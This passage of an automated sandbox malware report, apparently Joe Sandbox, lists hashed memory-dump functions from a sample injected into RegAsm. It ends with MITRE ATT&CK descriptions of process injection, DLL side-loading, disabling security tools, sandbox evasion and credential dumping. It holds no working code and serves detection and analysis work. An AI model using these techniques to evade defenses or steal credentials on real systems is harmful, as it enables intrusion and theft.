Instruction Fuzzy Hash: 2EE08C32A101108FE701FA24F842BAA77A1E785A21F50D531E000ABF89CA38580E8B81

Uniqueness

Uniqueness Score: -1.00%

Function 05DAE1FF Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0079b17d70efcf46742fee1715e0ebcb99b881507835748930219f44a000ff76
Instruction ID: 03dc92c30ed51d4b38d40af41aa580fcd0ede035cc312c8cff0ed17e8e679b64
Opcode Fuzzy Hash: 0079b17d70efcf46742fee1715e0ebcb99b881507835748930219f44a000ff76
Instruction Fuzzy Hash: 60E086B1E44108EFDB10DF64E85175D77B1EB81212F308699E408D7390E6355F159742

Uniqueness

Uniqueness Score: -1.00%

Function 05DAAC80 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8ba9cfff42fcde8ae217fd0581772a1505b871aa9f2956707b5fd2d7f900dc
Instruction ID: c5f83944328601461fc47aa23171166772236d796a5119663581c725be059867
Opcode Fuzzy Hash: 7a8ba9cfff42fcde8ae217fd0581772a1505b871aa9f2956707b5fd2d7f900dc
Instruction Fuzzy Hash: 4FD02E31720228978A05332AF80A4BE3FABEBC4A36340403BF54EC3301CE282D0283D6

Uniqueness

Uniqueness Score: -1.00%

Function 05DACE88 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f1986c61013029b4498d0ecc69c3671c483306c700538a7e028b8d37548dd7
Instruction ID: 0fb64426cbf2abfa357e6fed4216aa7c78cb6e00f129c21856bf2d0c96cd20f4
Opcode Fuzzy Hash: 05f1986c61013029b4498d0ecc69c3671c483306c700538a7e028b8d37548dd7
Instruction Fuzzy Hash: ABE0C272908241DFE711F720F44AB6C3BE1E780621F548825EC01AFF88DA389C4AC782

Uniqueness

Uniqueness Score: -1.00%

Function 05DAB510 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5e1919efbc06f35978123061fca2ca2cd937915852993486f3530c4400c223
Instruction ID: d7546fcc3f05ac624a2c54a6bf2749e1cd6d6746ca0071098fb899a28ad9f089
Opcode Fuzzy Hash: 2d5e1919efbc06f35978123061fca2ca2cd937915852993486f3530c4400c223
Instruction Fuzzy Hash: F8E09275D0420CEFCB40DFE5E9458DDBBB9EB48200F1082AAE809A3200EB346B55DF80

Uniqueness

Uniqueness Score: -1.00%

Function 05DAE8F8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a96e12a56ea304f4dd2a678742072c603aeb6766733af29c300af8a339f124b6
Instruction ID: 79d7af2dd591dada31abbd36fc194c2924b7af509c44c6fbf29c7e18d32f2293
Opcode Fuzzy Hash: a96e12a56ea304f4dd2a678742072c603aeb6766733af29c300af8a339f124b6
Instruction Fuzzy Hash: A1D0A73A120108DFC7409E54C8C2F503B78FF48704F94D0A4F5449F721C632E822DB50

Uniqueness

Uniqueness Score: -1.00%

Function 05DAE210 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c684b0e501fdb32557b3101f209972f8a0f06d6b8b0581e83d75ed9f003cbb9
Instruction ID: 1dd906f25796759fcc617b3dac17352896b73c880fb4f7f840d0102e8970371d
Opcode Fuzzy Hash: 5c684b0e501fdb32557b3101f209972f8a0f06d6b8b0581e83d75ed9f003cbb9
Instruction Fuzzy Hash: 5FD01271E0020CFF8B00EFA4E94155D77B5DB44205B1085999408E7244DA312F049791

Uniqueness

Uniqueness Score: -1.00%

Function 05DAF8EA Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d199edb47fba760d97e618056e2a75f5e0c3d1267dd49ff25310a14a45bb1c6
Instruction ID: 17601b4c7a2d38d334a5da589058decfc9cbcdbb0d882a60112408731bedbd5e
Opcode Fuzzy Hash: 5d199edb47fba760d97e618056e2a75f5e0c3d1267dd49ff25310a14a45bb1c6
Instruction Fuzzy Hash: 37C012323240202B0258216CF86656E66AACBC9A62389803BF50AE3344CC688C060391

Uniqueness

Uniqueness Score: -1.00%

Function 05DADFD1 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d033942627120a4a3096469fd5b58612228836ce25cb8673d32e002be3b10fb7
Instruction ID: 53997ea45c475f916479ff9b8adb3f2a36aac82366d8c8f468321d5261f35b87
Opcode Fuzzy Hash: d033942627120a4a3096469fd5b58612228836ce25cb8673d32e002be3b10fb7
Instruction Fuzzy Hash: E9B0123944EA808FFF016764DD0F2187E70AF81B4175640C2A200CA0F3DBDC4000CE55

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05DAE2C7 Relevance: 46.6, Strings: 37, Instructions: 388COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DAE6F8
D[j, xrefs: 05DAE378
D[j, xrefs: 05DAE770
D[j, xrefs: 05DAE608
D[j, xrefs: 05DAE86F
D[j, xrefs: 05DAE39D
D[j, xrefs: 05DAE7EE
D[j, xrefs: 05DAE3C2
D[j, xrefs: 05DAE680
D[j, xrefs: 05DAE630
D[j, xrefs: 05DAE3E7
D[j, xrefs: 05DAE456
D[j, xrefs: 05DAE543
D[j, xrefs: 05DAE798
D[j, xrefs: 05DAE56B
D[j, xrefs: 05DAE40C
D[j, xrefs: 05DAE2E4
D[j, xrefs: 05DAE309
D[j, xrefs: 05DAE6A8
D[j, xrefs: 05DAE4A3
D[j, xrefs: 05DAE6D0
D[j, xrefs: 05DAE5E3
D[j, xrefs: 05DAE47B
D[j, xrefs: 05DAE4F3
D[j, xrefs: 05DAE819
D[j, xrefs: 05DAE51B
D[j, xrefs: 05DAE593
D[j, xrefs: 05DAE844
D[j, xrefs: 05DAE4CB
D[j, xrefs: 05DAE431
D[j, xrefs: 05DAE32E
D[j, xrefs: 05DAE5BB
D[j, xrefs: 05DAE748
D[j, xrefs: 05DAE7C3
D[j, xrefs: 05DAE720
D[j, xrefs: 05DAE658
D[j, xrefs: 05DAE353

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-2692801833
Opcode ID: 33553bbac9e7f7d782fce340cfb22384d4a42bd9c8bdf8f215b07cae9e0b9e6f
Instruction ID: 37609b0fac9df4d30286ea98aee58fa7724623511892ce328de8421d8f68fc34
Opcode Fuzzy Hash: 33553bbac9e7f7d782fce340cfb22384d4a42bd9c8bdf8f215b07cae9e0b9e6f
Instruction Fuzzy Hash: 71D1BF347407106BD20AA7F0DC62B6CAAE7BBCA302B85843CD2155F796DF716D5A4387

Uniqueness

Uniqueness Score: -1.00%

Function 05DAE2D8 Relevance: 46.6, Strings: 37, Instructions: 383COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DAE6F8
D[j, xrefs: 05DAE378
D[j, xrefs: 05DAE770
D[j, xrefs: 05DAE608
D[j, xrefs: 05DAE86F
D[j, xrefs: 05DAE39D
D[j, xrefs: 05DAE7EE
D[j, xrefs: 05DAE3C2
D[j, xrefs: 05DAE680
D[j, xrefs: 05DAE630
D[j, xrefs: 05DAE3E7
D[j, xrefs: 05DAE456
D[j, xrefs: 05DAE543
D[j, xrefs: 05DAE798
D[j, xrefs: 05DAE56B
D[j, xrefs: 05DAE40C
D[j, xrefs: 05DAE2E4
D[j, xrefs: 05DAE309
D[j, xrefs: 05DAE6A8
D[j, xrefs: 05DAE4A3
D[j, xrefs: 05DAE6D0
D[j, xrefs: 05DAE5E3
D[j, xrefs: 05DAE47B
D[j, xrefs: 05DAE4F3
D[j, xrefs: 05DAE819
D[j, xrefs: 05DAE51B
D[j, xrefs: 05DAE593
D[j, xrefs: 05DAE844
D[j, xrefs: 05DAE4CB
D[j, xrefs: 05DAE431
D[j, xrefs: 05DAE32E
D[j, xrefs: 05DAE5BB
D[j, xrefs: 05DAE748
D[j, xrefs: 05DAE7C3
D[j, xrefs: 05DAE720
D[j, xrefs: 05DAE658
D[j, xrefs: 05DAE353

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-2692801833
Opcode ID: c89fb5af714a0082ddaf45d23d53ed49a87ac9ac5dfd1476e843930daaebbaf9
Instruction ID: 19da464617c87a421ecb3bc510518bb2aceb7509414422e6cbddf052a38954e6
Opcode Fuzzy Hash: c89fb5af714a0082ddaf45d23d53ed49a87ac9ac5dfd1476e843930daaebbaf9
Instruction Fuzzy Hash: 66D1AE347407006BD20AA7F0DC66B6DA6E7BBCA302B84843CD2190F796DF716D5A4397

Uniqueness

Uniqueness Score: -1.00%

Function 05DACC7F Relevance: 16.4, Strings: 13, Instructions: 146COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACD7A
D[j, xrefs: 05DACD9F
D[j, xrefs: 05DACD55
D[j, xrefs: 05DACE33
D[j, xrefs: 05DACD30
D[j, xrefs: 05DACE0E
D[j, xrefs: 05DACDC4
D[j, xrefs: 05DACCC1
D[j, xrefs: 05DACD0B
D[j, xrefs: 05DACC9C
D[j, xrefs: 05DACCE6
D[j, xrefs: 05DACDE9
D[j, xrefs: 05DACE58

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-896334709
Opcode ID: 7ca086a466e03fd67404e1a85f567e1b0402f17b84124d56cd63c1c986ed9cb4
Instruction ID: 9b2109b75c27ab11c3660c2effe3d909b884daba90e0709ead8f3d94b97fc3c8
Opcode Fuzzy Hash: 7ca086a466e03fd67404e1a85f567e1b0402f17b84124d56cd63c1c986ed9cb4
Instruction Fuzzy Hash: 2C41C4343407006BD205B7F0D86272DA6ABFBC6301B44883CD2195FB86DF76AD5A439B

Uniqueness

Uniqueness Score: -1.00%

Function 05DACC90 Relevance: 16.4, Strings: 13, Instructions: 143COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACD7A
D[j, xrefs: 05DACD9F
D[j, xrefs: 05DACD55
D[j, xrefs: 05DACE33
D[j, xrefs: 05DACD30
D[j, xrefs: 05DACE0E
D[j, xrefs: 05DACDC4
D[j, xrefs: 05DACCC1
D[j, xrefs: 05DACD0B
D[j, xrefs: 05DACC9C
D[j, xrefs: 05DACCE6
D[j, xrefs: 05DACDE9
D[j, xrefs: 05DACE58

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-896334709
Opcode ID: 37c96407ffb6484ea116a0d40063def20eeb318868ea108643de0d66d68604cf
Instruction ID: b85e354eb70e60938e1c6d2271fb6c34d81f8875fd5ff517d7ff77d5b01fa5ba
Opcode Fuzzy Hash: 37c96407ffb6484ea116a0d40063def20eeb318868ea108643de0d66d68604cf
Instruction Fuzzy Hash: BA41A3343407002BD205B7B0D86172DA6ABBBC6301B44883CD2191F785CF75AD5A439B

Uniqueness

Uniqueness Score: -1.00%

Function 05DACED1 Relevance: 10.1, Strings: 8, Instructions: 100COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACF36
D[j, xrefs: 05DACFEF
D[j, xrefs: 05DACFCA
D[j, xrefs: 05DACFA5
D[j, xrefs: 05DACEEC
D[j, xrefs: 05DACF5B
D[j, xrefs: 05DACF80
D[j, xrefs: 05DACF11

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-4204835099
Opcode ID: ac7ab2d9141bdbf9683a7d0e34262bd6cbe0cfff23e1f67b2b3929f5755860bf
Instruction ID: fdb0b95bab4960de87c8acec4b02e8ced7b8ee61e77840e8d4b875002f166d1b
Opcode Fuzzy Hash: ac7ab2d9141bdbf9683a7d0e34262bd6cbe0cfff23e1f67b2b3929f5755860bf
Instruction Fuzzy Hash: 9431D3303003012BD605A7E0D862B2DAAABFBC6301F848838E2095F785DF757D99439B

Uniqueness

Uniqueness Score: -1.00%

Function 05DACEE0 Relevance: 10.1, Strings: 8, Instructions: 93COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACF36
D[j, xrefs: 05DACFEF
D[j, xrefs: 05DACFCA
D[j, xrefs: 05DACFA5
D[j, xrefs: 05DACEEC
D[j, xrefs: 05DACF5B
D[j, xrefs: 05DACF80
D[j, xrefs: 05DACF11

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-4204835099
Opcode ID: a1fdc8451c3e2d2f99afc563ec42df8af2296119f60a2ff9f7190c12c6f7406e
Instruction ID: 2cb29a2b4237c0e242b8cf24ba9e1609139ac723bb2d7d1c9785eaa8f2880d19
Opcode Fuzzy Hash: a1fdc8451c3e2d2f99afc563ec42df8af2296119f60a2ff9f7190c12c6f7406e
Instruction Fuzzy Hash: 7321B1347003112BD605ABE0D861B2DAAABFBC6301B84893CE2195F785CF757D99439B

Uniqueness

Uniqueness Score: -1.00%

Function 05DAC968 Relevance: 8.8, Strings: 7, Instructions: 88COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACA28
D[j, xrefs: 05DAC9D6
D[j, xrefs: 05DAC9FF
D[j, xrefs: 05DAC984
D[j, xrefs: 05DACA7A
D[j, xrefs: 05DAC9AD
D[j, xrefs: 05DACA51

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-3622670538
Opcode ID: 357abadcf62e3ee6f37935ceedb6c4cb0198717742a8ff970cb0414bc570ea94
Instruction ID: c3eca22dfd38dee93fbdc45766e03f143d34328e08b78d64c03203d013326cf0
Opcode Fuzzy Hash: 357abadcf62e3ee6f37935ceedb6c4cb0198717742a8ff970cb0414bc570ea94
Instruction Fuzzy Hash: FC21D5313002466BDB01ABE0DC65A6D7BA7FB86302B04843DE5059F795DF716E8B8793

Uniqueness

Uniqueness Score: -1.00%

Function 05DAC978 Relevance: 8.8, Strings: 7, Instructions: 83COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DACA28
D[j, xrefs: 05DAC9D6
D[j, xrefs: 05DAC9FF
D[j, xrefs: 05DAC984
D[j, xrefs: 05DACA7A
D[j, xrefs: 05DAC9AD
D[j, xrefs: 05DACA51

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-3622670538
Opcode ID: 96d0431aaa2da0adaeac08aef460e9f73b65e4126d13c8ec378a93ef57732448
Instruction ID: 4713b7bdeeb058af2b1e49622483441eb7ebac63e6347f4725c34e0b5c08b103
Opcode Fuzzy Hash: 96d0431aaa2da0adaeac08aef460e9f73b65e4126d13c8ec378a93ef57732448
Instruction Fuzzy Hash: 3C21B1303002066BDB01AFE0D865A6D7BA7FBC6302704843DE5059F795CF706E8A8B93

Uniqueness

Uniqueness Score: -1.00%

Function 05DAED10 Relevance: 7.9, Strings: 6, Instructions: 374COMMON

Download Yara Rule

Strings

(_q, xrefs: 05DAF0F9
(_q, xrefs: 05DAEEFA
(_q, xrefs: 05DAEF79
(_q, xrefs: 05DAED7A
(_q, xrefs: 05DAF07A
(_q, xrefs: 05DAEDF9

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: (_q$(_q$(_q$(_q$(_q$(_q
API String ID: 0-744050660
Opcode ID: 20393f0bae7bf8cc9f83c71f7fcfff6ba8e7a8a18e2a28010edbffca76fcf2ef
Instruction ID: 646163199b0f0bcff023baae536f5b308819830c7110542f21924664fda316f0
Opcode Fuzzy Hash: 20393f0bae7bf8cc9f83c71f7fcfff6ba8e7a8a18e2a28010edbffca76fcf2ef
Instruction Fuzzy Hash: 85D1BD35B043049FEB049F78D8256AE7BB2FF85210B14C56EE906DB381DA39DD46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05DAD538 Relevance: 7.6, Strings: 6, Instructions: 79COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DAD5C3
D[j, xrefs: 05DAD60D
D[j, xrefs: 05DAD579
D[j, xrefs: 05DAD554
D[j, xrefs: 05DAD5E8
D[j, xrefs: 05DAD59E

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-3294802575
Opcode ID: 34b3162643dde003f061f8c60b6b3e784681b0814b6ff5775a3d6fd5a0358a86
Instruction ID: df982bad383ea8b22451022d28c2f767fae3d109fe4e607048a8ec558a3e0739
Opcode Fuzzy Hash: 34b3162643dde003f061f8c60b6b3e784681b0814b6ff5775a3d6fd5a0358a86
Instruction Fuzzy Hash: CD21F3357403002BD205A7B0D862B2DAAABFBC6701F84C53CE2156F785DFB26D5A4397

Uniqueness

Uniqueness Score: -1.00%

Function 05DAD548 Relevance: 7.6, Strings: 6, Instructions: 73COMMON

Download Yara Rule

Strings

D[j, xrefs: 05DAD5C3
D[j, xrefs: 05DAD60D
D[j, xrefs: 05DAD579
D[j, xrefs: 05DAD554
D[j, xrefs: 05DAD5E8
D[j, xrefs: 05DAD59E

Memory Dump Source

Source File: 0000000D.00000002.1445300886.0000000005DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5da0000_RegAsm.jbxd

Similarity

API ID:
String ID: D[j$D[j$D[j$D[j$D[j$D[j
API String ID: 0-3294802575
Opcode ID: 80d8de041e0e53c20c6b7cf17e55a00b092982076277ce9c99cefa95e69c4831
Instruction ID: 0502f986429ec60e383800f5c042a292d0122bf04e34602ed554e3c3df8b9e53
Opcode Fuzzy Hash: 80d8de041e0e53c20c6b7cf17e55a00b092982076277ce9c99cefa95e69c4831
Instruction Fuzzy Hash: 5D11A2357403102BD205ABA1D861B2DAAEBFBC6701F44853CE2195F785CFB26D6A4397

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

